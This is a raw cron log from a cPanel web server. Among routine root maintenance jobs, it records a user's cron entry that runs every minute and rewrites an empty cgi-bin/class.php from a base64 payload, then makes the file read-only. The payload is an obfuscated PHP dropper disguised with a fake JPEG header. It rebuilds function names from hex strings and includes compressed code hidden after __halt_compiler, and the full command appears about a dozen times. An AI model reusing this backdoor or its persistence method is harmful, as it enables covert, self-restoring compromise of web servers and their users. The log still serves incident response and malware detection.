Sep  9 10:38:01 server CROND[28197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:39:01 server CROND[28577]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 10:39:01 server CROND[28580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:39:01 server CROND[28578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:39:01 server CROND[28579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:40:01 server CROND[28956]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 10:40:01 server CROND[28958]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 10:40:01 server CROND[28960]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:40:01 server CROND[28961]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 10:40:01 server CROND[28964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:40:01 server CROND[28962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:40:01 server CROND[28963]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:40:01 server CROND[28959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:41:01 server CROND[29788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:41:01 server CROND[29787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:41:01 server CROND[29789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:42:01 server CROND[30159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:42:01 server CROND[30160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:42:01 server CROND[30161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:42:01 server CROND[30162]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 10:43:01 server CROND[30625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:43:01 server CROND[30626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:43:01 server CROND[30629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:44:01 server CROND[31003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:44:01 server CROND[31004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:44:01 server CROND[31005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:45:01 server CROND[31390]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 10:45:01 server CROND[31393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:45:01 server CROND[31391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:45:01 server CROND[31394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:45:01 server CROND[31392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:45:01 server CROND[31395]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 10:45:01 server CROND[31396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:46:01 server CROND[32218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:46:01 server CROND[32217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:46:01 server CROND[32219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:47:01 server CROND[32612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:47:01 server CROND[32613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:47:01 server CROND[32614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:48:01 server CROND[624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:48:01 server CROND[625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:48:01 server CROND[626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:49:01 server CROND[1019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:49:01 server CROND[1020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:49:01 server CROND[1021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:50:01 server CROND[1492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:50:01 server CROND[1494]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 10:50:01 server CROND[1495]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 10:50:01 server CROND[1497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 10:50:01 server CROND[1496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
